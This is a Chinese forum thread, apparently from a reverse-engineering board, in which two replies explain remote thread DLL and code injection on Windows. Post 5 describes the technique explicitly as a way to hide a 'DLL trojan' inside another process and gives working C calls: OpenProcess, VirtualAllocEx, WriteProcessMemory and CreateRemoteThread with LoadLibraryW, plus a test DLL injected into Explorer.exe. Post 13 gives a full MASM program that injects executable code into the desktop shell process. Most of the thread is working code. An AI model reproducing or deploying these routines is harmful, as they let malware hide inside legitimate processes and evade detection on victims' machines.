能力值:
( LV2,RANK:10 )
5 楼
远程线程技术, 是实现进程隐藏的一种有效方法,具体是指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread 函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread 也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL 木马(与进入进程内部相比,启动一个DLL 木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。
首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file:// 允许远程创建线程
PROCESS_VM_OPERATION | file:// 允许远程VM 操作
PROCESS_VM_WRITE,// 允许远程VM 写
FALSE, dwRemoteProcessId )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD 、VM_OPERATION 、VM_WRITE )。
然后,我们可以建立LoadLibraryW 函数这个线程来启动我们的DLL 木马,LoadLibraryW 函数是在kernel32.dll 中定义的,用来加载DLL 文件,它只有一个参数,就是DLL 文件的绝对路径名pszLibFileName ,(也就是木马DLL 的全路径文件名),但是由于木马DLL 是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
file:// 计算DLL 路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
file:// 使用VirtualAllocEx 函数在远程进程的内存地址空间分配DLL 文件名缓冲区
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
file:// 使用WriteProcessMemory 函数将DLL 的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
file:// 计算LoadLibraryW 的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
万事俱备,我们通过建立远程线程时的地址pfnStartAddr (实际上就是LoadLibraryW 的入口地址)和传递的参数pszLibFileRemote (实际上是我们复制过去的木马DLL 的全路径文件名)在远程进程内启动我们的木马DLL :
file:// 启动远程线程LoadLibraryW ,通过远程线程调用用户的DLL 文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL);
至此,远程嵌入顺利完成,为了试验我们的DLL 是不是已经正常的在远程线程运行,我编写了以下的测试DLL :
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
char szProcessId[64] ;
switch ( reason )
{
case DLL_PROCESS_ATTACH:
{
file:// 获取当前进程ID
_itoa ( GetCurrentProcessId(), szProcessId, 10 );
MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
}
default:
return TRUE;
}
}
当我使用RmtDll.exe 程序将这个TestDLL.dll 嵌入Explorer.exe 进程后(PID=1208 ),该测试DLL 弹出了1208 字样的确认框,同时使用PS 工具也能看到
Process ID: 1208
C:/WINNT/Explorer.exe (0x00400000)
……
C:/TestDLL.dll (0x100000000)
……
这证明TestDLL.dll 已经在Explorer.exe 进程内正确地运行了。
无论是使用特洛伊DLL 还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
能力值:
( LV5,RANK:70 )
13 楼
主程序代码:
.386
.model flat,stdcall
option casemap:none
;#######################################
Include windows.inc
Include kernel32.inc
Include user32.inc
Includelib kernel32.lib
Includelib user32.lib
;#######################################
.data?
lpKernelDll dd ?
lpLoadLibrary dd ?
lpGetProcAddress dd ?
lpGetModuleHandle dd ?
lpRemoteCode dd ?
dwProcessID dd ?
dwThreadID dd ?
dwTemp dd ?
hProcess dd ?
;#######################################
.const
szKernel32 db 'Kernel32.dll',0
szLoadLibrary db 'LoadLibraryA',0
szGetModuleHandle db 'GetModuleHandleA',0
szGetProcAddress db 'GetProcAddress',0
szDesktopClass db 'Progman',0
szDesktopWindow db 'Program Manager',0
szBuffer db 260 dup(?)
;#######################################
.code
Include ErrorRpt.asm
Include .\RemoteCode\remote.asm;;这里放至注入代码
Main:
invoke GetModuleHandle,addr szKernel32
mov lpKernelDll,eax
invoke GetProcAddress,lpKernelDll,offset szLoadLibrary
mov lpLoadLibrary,eax
invoke GetProcAddress,lpKernelDll,offset szGetProcAddress
mov lpGetProcAddress,eax
invoke GetProcAddress,lpKernelDll,offset szGetModuleHandle
mov lpGetModuleHandle,eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId,eax,offset dwProcessID
mov dwThreadID,eax
invoke OpenProcess,PROCESS_CREATE_THREAD OR PROCESS_VM_WRITE OR PROCESS_VM_OPERATION,0,dwProcessID
.if eax
mov hProcess,eax
;;
invoke VirtualAllocEx,hProcess,0,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE
.IF eax
mov lpRemoteCode,eax
invoke WriteProcessMemory,hProcess,lpRemoteCode,offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,offset dwTemp
or eax,eax
jnz @F
pusha
invoke _ErrorReport,0
popa
@@:
invoke WriteProcessMemory,hProcess,lpRemoteCode,offset lpLoadLibrary,sizeof DWORD * 3,offset dwTemp
or eax,eax
jnz @F
pusha
invoke _ErrorReport,0
popa
@@:
mov eax,lpRemoteCode
add eax,offset _RemoteThread - offset REMOTE_CODE_START
invoke CreateRemoteThread,hProcess,0,0,eax,0,0,0 ;;; create remote thread
or eax,eax
jnz @F
pusha
invoke _ErrorReport,0
popa
@@:
invoke CloseHandle,eax
.ELSE
invoke _ErrorReport,0
.ENDIF
invoke CloseHandle,hProcess
.else
invoke _ErrorReport,0
.endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
invoke ExitProcess,0
End Main
这个是错误信息报告:
_ErrorReport proc _hWnd
LOCAL @szBuf[260]:BYTE
LOCAL @szBuff[260]:BYTE
pushad
jmp @F
szErrorMsgFmtForErrorReport db 'Error Code:%08X',0DH,0AH,'Error Reason:%s',0
@@:
call GetLastError
push eax
lea ecx,@szBuf
invoke FormatMessage,FORMAT_MESSAGE_IGNORE_INSERTS or FORMAT_MESSAGE_FROM_SYSTEM,\
0,eax,0,ecx,sizeof @szBuf,0
pop eax
lea ecx,@szBuf
invoke wsprintf,addr @szBuff,offset szErrorMsgFmtForErrorReport,eax,ecx
invoke MessageBox,_hWnd,addr @szBuff,0,30H
popad
ret
_ErrorReport endp